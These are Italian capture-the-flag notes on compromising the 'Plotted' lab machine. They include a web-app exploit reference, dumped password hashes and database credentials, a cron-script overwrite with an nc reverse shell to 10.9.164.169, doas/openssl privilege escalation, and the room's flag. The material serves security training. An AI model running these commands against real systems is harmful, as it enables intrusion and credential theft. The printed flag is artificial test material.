enumeriamo

http:// ip:445 / management/

Online Traffic Offense Management System 1.0

https://www.exploit-db.com/exploits/50221

carichiamo una reverse shell tramite paramento cmd

cat /etc/passwd

```
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
plot_admin:x:1001:1001:,,,:/home/plot_admin:/bin/bash
```

cat initialize.php

```
$dev_data =
array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
if(!defined('base_url')) define('base_url','/management/');
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"tms_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"Password@123");
if(!defined('DB_NAME')) define('DB_NAME',"tms_db");
```

database mysql

```
|  1 | Adminstrator | Admin    | admin    | 14d147dc0ba2fed434e7fd176dc87fdc | uploads/1645290420_evil.php   | NULL       |    1 | 2021-01-20 14:02:37 | 2022-02-19 17:07:38 |
|  9 | Plotted      | User     | puser    | 1254737c076cf867dc53d60a0364f38e | uploads/1629336240_avatar.jpg | NULL       |    2 | 2021-08-19 09:24:25 | 2021-10-28 07:33:02 |
```

admin 14d147dc0ba2fed434e7fd176dc87fdc
plotted 1254737c076cf867dc53d60a0364f38e   jsmith123
dev_oretnom 5da283a2d990e8d8512cf967df5bc0d0

su plot_admin   le password   jsmith123 e Password@123 non funzionano

troviamo sotto /var/www/scripts ---> backup.sh con un crontab eseguito dall'utente plot_admin
ma l'utente della nostra sessione www-data ha i privilegi nella cartella
.

```
1182736 4 drwxr-xr-x 2 www-data   www-data   4096 Oct 28 09:10 .
1190356 4 drwxr-xr-x 4 root       root       4096 Oct 28 10:26 ..
1187874 4 -rwxrwxr-- 1 plot_admin plot_admin  141 Oct 28 09:10 backup.sh
<-------------
```

```
rm backup.sh
echo "rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 10.9.164.169 9001 >/tmp/g" > backup.sh && chmod 777 backup.sh
```

1182736 4 drwxr-xr-x 2 www-data www-data 4096 Feb 19 17:29 .   <----- www-data ha i permessi, quindi cancelliamo il file e ricreiamolo (crontab)

```
1190356 4 drwxr-xr-x 4 root     root     4096 Oct 28 10:26 ..
1187874 4 -rwxrwxrwx 1 www-data www-data   80 Feb 19 17:29 backup.sh

otteniamo la reverse shell


python3 -c "import pty;pty.spawn('/bin/bash');"


troviamo con il suid /usr/bin/doas

plot_admin@plotted:~$ cat /etc/doas.conf

permit nopass plot_admin as root cmd openssl  <------------- (gtfobins)


/usr/bin/doas openssl enc -in "/root/root.txt"


plot_admin@plotted:~$ /usr/bin/doas openssl enc -in "/root/root.txt"
/usr/bin/doas openssl enc -in "/root/root.txt"
Congratulations on completing this room!

53f85e2da3e874426fa059040a9bdcab   <----------------------

Hope you enjoyed the journey!

Do let me know if you have any ideas/suggestions for future rooms.
-sa.infinity8888
plot_admin@plotted:~

```